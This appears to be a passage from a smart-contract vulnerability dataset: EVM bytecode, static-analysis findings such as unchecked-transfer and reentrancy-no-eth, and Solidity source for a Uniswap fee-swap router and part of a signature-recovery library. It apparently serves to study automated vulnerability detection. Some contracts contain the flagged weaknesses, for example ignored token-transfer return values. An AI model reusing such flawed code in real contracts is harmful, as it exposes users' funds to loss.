82525050565b61193281611d64565b82525050565b600060208201905061194d60008301846116e6565b92915050565b600060608201905061196860008301866116e6565b61197560208301856116e6565b6119826040830184611929565b949350505050565b600060408201905061199f60008301856116e6565b6119ac6020830184611929565b9392505050565b600060208201905081810360008301526119cd81846116f5565b905092915050565b600060208201905081810360008301526119ee81611753565b9050919050565b60006020820190508181036000830152611a0e81611776565b9050919050565b60006020820190508181036000830152611a2e81611799565b9050919050565b60006020820190508181036000830152611a4e816117bc565b9050919050565b60006020820190508181036000830152611a6e816117df565b9050919050565b60006020820190508181036000830152611a8e81611802565b9050919050565b60006020820190508181036000830152611aae81611825565b9050919050565b60006020820190508181036000830152611ace81611848565b9050919050565b60006020820190508181036000830152611aee8161186b565b9050919050565b60006020820190508181036000830152611b0e8161188e565b9050919050565b60006020820190508181036000830152611b2e816118b1565b9050919050565b60006020820190508181036000830152611b4e816118d4565b9050919050565b60006020820190508181036000830152611b6e816118f7565b9050919050565b6000602082019050611b8a6000830184611929565b92915050565b6000606082019050611ba56000830186611929565b611bb26020830185611929565b611bbf6040830184611929565b949350505050565b6000819050602082019050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000611c1c82611d64565b9150611c2783611d64565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c5c57611c5b611d9f565b5b828201905092915050565b6000611c7282611d64565b9150611c7d83611d64565b925082611c8d57611c8c611dce565b5b828204905092915050565b6000611ca382611d64565b9150611cae83611d64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611ce757611ce6611d9f565b5b828202905092915050565b6000611cfd82611d64565b9150611d0883611d64565b925082821015611d1b57611d1a611d9f565b5b828203905092915050565b6000611d3182611d44565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000611d7982611d64565b9150611d8483611d64565b925082611d9457611d93611dce565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4530310000000000000000000000000000000000000000000000000000000000600082015250565b7f4530390000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f536166654d617468237375623a20554e444552464c4f57000000000000000000600082015250565b7f4530370000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d617468236d756c3a204f564552464c4f5700000000000000000000600082015250565b7f4531300000000000000000000000000000000000000000000000000000000000600082015250565b7f4530320000000000000000000000000000000000000000000000000000000000600082015250565b7f4530340000000000000000000000000000000000000000000000000000000000600082015250565b7f4530380000000000000000000000000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f536166654d617468236469763a204449564953494f4e5f42595f5a45524f0000600082015250565b7f536166654d617468236164643a204f564552464c4f5700000000000000000000600082015250565b61204181611d26565b811461204c57600080fd5b50565b61205881611d38565b811461206357600080fd5b50565b61206f81611d64565b811461207a57600080fd5b5056fea2646970667358221220c86d35c57c79fe29d3c7e5ba43d29eadc6210c8f784edf47dd5195ee6af9d54e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,438 |
0xbC60A1235E589f79bcc3d0B8ce4910411dbA460c
|
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface ITokenInterface {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function burn(uint amount) external;
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IValueLiquidPool {
function swapExactAmountIn(address tokenIn, uint tokenAmountIn, address tokenOut, uint minAmountOut, uint maxPrice) external returns (uint tokenAmountOut, uint spotPriceAfter);
}
interface IUniswapRouter {
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
}
// This class implements IValueLiquidPool to support Value Vault's strategies
// Will implement UniswapRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens for some rare cases which takes fee for token transfer (eg. Dego.finance)
contract UniswapRouterSupportingFeeOnTransferTokens is IValueLiquidPool, IUniswapRouter {
using SafeMath for uint256;
address public governance;
IUniswapRouter public unirouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uint256 public constant FEE_DENOMINATOR = 10000;
uint256 public performanceFee = 0; // 0% at start and can be set by governance decision
mapping(address => mapping(address => address[])) public uniswapPaths; // [input -> output] => uniswap_path
mapping(address => bool) public hasTransferFee; // token_address => has_transfer_fee
constructor(address _tokenHasTransferFee) public {
hasTransferFee[_tokenHasTransferFee] = true;
governance = msg.sender;
}
function setGovernance(address _governance) external {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function approveForSpender(ITokenInterface _token, address _spender, uint256 _amount) external {
require(msg.sender == governance, "!governance");
_token.approve(_spender, _amount);
}
function setUnirouter(IUniswapRouter _unirouter) external {
require(msg.sender == governance, "!governance");
unirouter = _unirouter;
}
function setPerformanceFee(uint256 _performanceFee) public {
require(msg.sender == governance, "!governance");
performanceFee = _performanceFee;
}
function setHasTransferFee(address _token, bool _hasFee) public {
require(msg.sender == governance, "!governance");
hasTransferFee[_token] = _hasFee;
}
function setUnirouterPath(address _input, address _output, address [] memory _path) public {
require(msg.sender == governance, "!governance");
uniswapPaths[_input][_output] = _path;
}
function swapExactAmountIn(address _tokenIn, uint _tokenAmountIn, address _tokenOut, uint _minAmountOut, uint) external override returns (uint _tokenAmountOut, uint) {
address[] memory path = uniswapPaths[_tokenIn][_tokenOut];
if (path.length == 0) {
// path: _input -> _output
path = new address[](2);
path[0] = _tokenIn;
path[1] = _tokenOut;
}
ITokenInterface input = ITokenInterface(_tokenIn);
ITokenInterface output = ITokenInterface(_tokenOut);
input.transferFrom(msg.sender, address(this), _tokenAmountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _tokenAmountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_tokenAmountIn = _tokenAmountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
if (hasTransferFee[_tokenIn] || hasTransferFee[_tokenOut]) {
// swapExactTokensForTokensSupportingFeeOnTransferTokens(amountIn, amountOutMin, path, to, deadline)
unirouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(_tokenAmountIn, _minAmountOut, path, msg.sender, now.add(1800));
} else {
// swapExactTokensForTokens(amountIn, amountOutMin, path, to, deadline)
unirouter.swapExactTokensForTokens(_tokenAmountIn, _minAmountOut, path, msg.sender, now.add(1800));
}
_tokenAmountOut = output.balanceOf(address(this));
output.transfer(msg.sender, _tokenAmountOut);
}
function swapExactTokensForTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external override returns (uint256[] memory amounts) {
ITokenInterface input = ITokenInterface(_path[0]);
input.transferFrom(msg.sender, address(this), _amountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _amountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_amountIn = _amountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
amounts = unirouter.swapExactTokensForTokens(_amountIn, _amountOutMin, _path, _to, _deadline);
}
function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 _amountIn, uint256 _amountOutMin, address[] calldata _path, address _to, uint256 _deadline) external override returns (uint256[] memory amounts) {
ITokenInterface input = ITokenInterface(_path[0]);
input.transferFrom(msg.sender, address(this), _amountIn);
if (performanceFee > 0) {
uint256 performanceFeeAmount = _amountIn.mul(performanceFee).div(FEE_DENOMINATOR);
_amountIn = _amountIn.sub(performanceFeeAmount);
input.transfer(governance, performanceFeeAmount);
}
amounts = unirouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(_amountIn, _amountOutMin, _path, _to, _deadline);
}
/**
* This function allows governance to take unsupported tokens out of the contract.
* This is in an effort to make someone whole, should they seriously mess up.
* There is no guarantee governance will vote to return these.
* It also allows for removal of airdropped tokens.
*/
function governanceRecoverUnsupported(ITokenInterface _token, uint256 amount, address to) external {
require(msg.sender == governance, "!governance");
_token.transfer(to, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101005760003560e01c806370897b2311610097578063ab033ea911610066578063ab033ea9146104b3578063d73792a9146104d9578063d92f3d73146104e1578063ef9e23791461050757610100565b806370897b23146103f55780638201aa3f14610412578063877887821461046b578063a06e6f2c1461048557610100565b806338ed1739116100d357806338ed17391461025557806354575af41461032e5780635aa6e675146103645780635c11d7951461036c57610100565b8063115cce2b14610105578063148bece3146101c1578063257ae0de146101fb57806335e942681461021f575b600080fd5b6101bf6004803603606081101561011b57600080fd5b6001600160a01b038235811692602081013590911691810190606081016040820135600160201b81111561014e57600080fd5b82018360208201111561016057600080fd5b803590602001918460208302840111600160201b8311171561018157600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061053d945050505050565b005b6101e7600480360360208110156101d757600080fd5b50356001600160a01b03166105c5565b604080519115158252519081900360200190f35b6102036105da565b604080516001600160a01b039092168252519081900360200190f35b6102036004803603606081101561023557600080fd5b506001600160a01b038135811691602081013590911690604001356105e9565b6102de600480360360a081101561026b57600080fd5b813591602081013591810190606081016040820135600160201b81111561029157600080fd5b8201836020820111156102a357600080fd5b803590602001918460208302840111600160201b831117156102c457600080fd5b91935091506001600160a01b03813516906020013561062b565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561031a578181015183820152602001610302565b505050509050019250505060405180910390f35b6101bf6004803603606081101561034457600080fd5b506001600160a01b038135811691602081013591604090910135166108fa565b6102036109cf565b6102de600480360360a081101561038257600080fd5b813591602081013591810190606081016040820135600160201b8111156103a857600080fd5b8201836020820111156103ba57600080fd5b803590602001918460208302840111600160201b831117156103db57600080fd5b91935091506001600160a01b0381351690602001356109de565b6101bf6004803603602081101561040b57600080fd5b5035610bd3565b610452600480360360a081101561042857600080fd5b506001600160a01b0381358116916020810135916040820135169060608101359060800135610c25565b6040805192835260208301919091528051918290030190f35b6104736112bc565b60408051918252519081900360200190f35b6101bf6004803603604081101561049b57600080fd5b506001600160a01b03813516906020013515156112c2565b6101bf600480360360208110156104c957600080fd5b50356001600160a01b031661133a565b6104736113a9565b6101bf600480360360208110156104f757600080fd5b50356001600160a01b03166113af565b6101bf6004803603606081101561051d57600080fd5b506001600160a01b0381358116916020810135909116906040013561141e565b6000546001600160a01b0316331461058a576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b038084166000908152600360209081526040808320938616835292815291902082516105bf928401906116fe565b50505050565b60046020526000908152604090205460ff1681565b6001546001600160a01b031681565b6003602052826000526040600020602052816000526040600020818154811061060e57fe5b6000918252602090912001546001600160a01b0316925083915050565b606060008585600081811061063c57fe5b604080516323b872dd60e01b8152336004820152306024820152604481018d90529051602092830294909401356001600160a01b0316945084936323b872dd9350606480830193928290030181600087803b15801561069a57600080fd5b505af11580156106ae573d6000803e3d6000fd5b505050506040513d60208110156106c457600080fd5b5050600254156107865760006106f16127106106eb6002548c6114c290919063ffffffff16565b90611524565b90506106fd8982611566565b600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051939c509085169263a9059cbb92604480840193602093929083900390910190829087803b15801561075857600080fd5b505af115801561076c573d6000803e3d6000fd5b505050506040513d602081101561078257600080fd5b5050505b6001546040516338ed173960e01b8152600481018a8152602482018a90526001600160a01b0387811660648401526084830187905260a06044840190815260a484018a90529316926338ed1739928c928c928c928c928c928c9260c401866020870280828437600081840152601f19601f820116905080830192505050975050505050505050600060405180830381600087803b15801561082657600080fd5b505af115801561083a573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561086357600080fd5b8101908080516040519392919084600160201b82111561088257600080fd5b90830190602082018581111561089757600080fd5b82518660208202830111600160201b821117156108b357600080fd5b82525081516020918201928201910280838360005b838110156108e05781810151838201526020016108c8565b505050509050016040525050509150509695505050505050565b6000546001600160a01b03163314610947576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b826001600160a01b031663a9059cbb82846040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561099e57600080fd5b505af11580156109b2573d6000803e3d6000fd5b505050506040513d60208110156109c857600080fd5b5050505050565b6000546001600160a01b031681565b60606000858560008181106109ef57fe5b604080516323b872dd60e01b8152336004820152306024820152604481018d90529051602092830294909401356001600160a01b0316945084936323b872dd9350606480830193928290030181600087803b158015610a4d57600080fd5b505af1158015610a61573d6000803e3d6000fd5b505050506040513d6020811015610a7757600080fd5b505060025415610b33576000610a9e6127106106eb6002548c6114c290919063ffffffff16565b9050610aaa8982611566565b600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051939c509085169263a9059cbb92604480840193602093929083900390910190829087803b158015610b0557600080fd5b505af1158015610b19573d6000803e3d6000fd5b505050506040513d6020811015610b2f57600080fd5b5050505b600154604051635c11d79560e01b8152600481018a8152602482018a90526001600160a01b0387811660648401526084830187905260a06044840190815260a484018a9052931692635c11d795928c928c928c928c928c928c9260c401866020870280828437600081840152601f19601f820116905080830192505050975050505050505050600060405180830381600087803b15801561082657600080fd5b6000546001600160a01b03163314610c20576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600255565b6001600160a01b0380861660009081526003602090815260408083209387168352928152828220805484518184028101840190955280855292938493606093919291830182828015610ca057602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610c82575b50505050509050805160001415610d2e5760408051600280825260608201835290916020830190803683370190505090508781600081518110610cdf57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250508581600181518110610d0d57fe5b60200260200101906001600160a01b031690816001600160a01b0316815250505b604080516323b872dd60e01b8152336004820152306024820152604481018990529051899188916001600160a01b038416916323b872dd9160648083019260209291908290030181600087803b158015610d8757600080fd5b505af1158015610d9b573d6000803e3d6000fd5b505050506040513d6020811015610db157600080fd5b505060025415610e6d576000610dd86127106106eb6002548d6114c290919063ffffffff16565b9050610de48a82611566565b600080546040805163a9059cbb60e01b81526001600160a01b039283166004820152602481018690529051939d509086169263a9059cbb92604480840193602093929083900390910190829087803b158015610e3f57600080fd5b505af1158015610e53573d6000803e3d6000fd5b505050506040513d6020811015610e6957600080fd5b5050505b6001600160a01b038a1660009081526004602052604090205460ff1680610eac57506001600160a01b03881660009081526004602052604090205460ff165b15611038576001546001600160a01b0316635c11d7958a898633610ed2426107086115a8565b6040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015610f42578181015183820152602001610f2a565b505050509050019650505050505050600060405180830381600087803b158015610f6b57600080fd5b505af1158015610f7f573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526020811015610fa857600080fd5b8101908080516040519392919084600160201b821115610fc757600080fd5b908301906020820185811115610fdc57600080fd5b82518660208202830111600160201b82111715610ff857600080fd5b82525081516020918201928201910280838360005b8381101561102557818101518382015260200161100d565b50505050905001604052505050506111bb565b6001546001600160a01b03166338ed17398a898633611059426107086115a8565b6040518663ffffffff1660e01b81526004018086815260200185815260200180602001846001600160a01b03168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b838110156110c95781810151838201526020016110b1565b505050509050019650505050505050600060405180830381600087803b1580156110f257600080fd5b505af1158015611106573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052602081101561112f57600080fd5b8101908080516040519392919084600160201b82111561114e57600080fd5b90830190602082018581111561116357600080fd5b82518660208202830111600160201b8211171561117f57600080fd5b82525081516020918201928201910280838360005b838110156111ac578181015183820152602001611194565b50505050905001604052505050505b604080516370a0823160e01b815230600482015290516001600160a01b038316916370a08231916024808301926020929190829003018186803b15801561120157600080fd5b505afa158015611215573d6000803e3d6000fd5b505050506040513d602081101561122b57600080fd5b50516040805163a9059cbb60e01b81523360048201526024810183905290519196506001600160a01b0383169163a9059cbb916044808201926020929091908290030181600087803b15801561128057600080fd5b505af1158015611294573d6000803e3d6000fd5b505050506040513d60208110156112aa57600080fd5b50949a93995092975050505050505050565b60025481565b6000546001600160a01b0316331461130f576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6001600160a01b03919091166000908152600460205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314611387576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b61271081565b6000546001600160a01b031633146113fc576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461146b576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b826001600160a01b031663095ea7b383836040518363ffffffff1660e01b815260040180836001600160a01b0316815260200182815260200192505050602060405180830381600087803b15801561099e57600080fd5b6000826114d15750600061151e565b828202828482816114de57fe5b041461151b5760405162461bcd60e51b81526004018080602001828103825260218152602001806117836021913960400191505060405180910390fd5b90505b92915050565b600061151b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611602565b600061151b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116a4565b60008282018381101561151b576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000818361168e5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561165357818101518382015260200161163b565b50505050905090810190601f1680156116805780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161169a57fe5b0495945050505050565b600081848411156116f65760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561165357818101518382015260200161163b565b505050900390565b828054828255906000526020600020908101928215611753579160200282015b8281111561175357825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019061171e565b5061175f929150611763565b5090565b5b8082111561175f5780546001600160a01b031916815560010161176456fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122089ad4d4aad8ccd0781a97774739e01a7153171340c9dd9cc83a02b522151b28264736f6c634300060c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,439 |
0x7f4999e57d6a77aaa450fe243595f90af9fdfb8c
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"insuff bal"
);
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"send failed"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "ll call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"ll call failed"
);
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"insuff bal"
);
require(isContract(target), "call EOA addr");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: value}(
data
);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data)
internal
view
returns (bytes memory)
{
return
functionStaticCall(
target,
data,
"ll static failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "call to eoa addr");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return
functionDelegateCall(
target,
data,
"ll delegate failed"
);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "call to eoa addr");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
interface IERC1271 {
/**
* @dev Should return whether the signature provided is valid for the provided data
* @param hash Hash of the data to be signed
* @param signature Signature byte array associated with _data
*/
function isValidSignature(bytes32 hash, bytes memory signature)
external
view
returns (bytes4 magicValue);
}
library SignatureHelper {
using Address for address;
enum RecoverError {
NoError,
InvalidSignature,
InvalidSignatureLength,
InvalidSignatureS,
InvalidSignatureV
}
function toTypedDataHash(bytes32 domainSeparator, bytes32 structHash)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encodePacked("\x19\x01", domainSeparator, structHash)
);
}
function tryRecover(bytes32 hash, bytes memory signature)
internal
pure
returns (address, RecoverError)
{
// Check the signature length
// - case 65: r,s,v signature (standard)
// - case 64: r,vs signature (cf https://eips.ethereum.org/EIPS/eip-2098) _Available since v4.1._
if (signature.length == 65) {
bytes32 r;
bytes32 s;
uint8 v;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
return tryRecover(hash, v, r, s);
} else if (signature.length == 64) {
bytes32 r;
bytes32 vs;
// ecrecover takes the signature parameters, and the only way to get them
// currently is to use assembly.
assembly {
r := mload(add(signature, 0x20))
vs := mload(add(signature, 0x40))
}
return tryRecover(hash, r, vs);
} else {
return (address(0), RecoverError.InvalidSignatureLength);
}
}
function tryRecover(
bytes32 hash,
bytes32 r,
bytes32 vs
) internal pure returns (address, RecoverError) {
bytes32 s = vs &
bytes32(
0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff
);
uint8 v = uint8((uint256(vs) >> 255) + 27);
return tryRecover(hash, v, r, s);
}
function tryRecover(
bytes32 hash,
uint8 v,
bytes32 r,
bytes32 s
) internal pure returns (address, RecoverError) {
// EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature
// unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines
// the valid range for s in (301): 0 < s < secp256k1n ÷ 2 + 1, and for v in (302): v ∈ {27, 28}. Most
// signatures from current libraries generate a unique signature with an s-value in the lower half order.
//
// If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value
// with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or
// vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept
// these malleable signatures as well.
if (
uint256(s) >
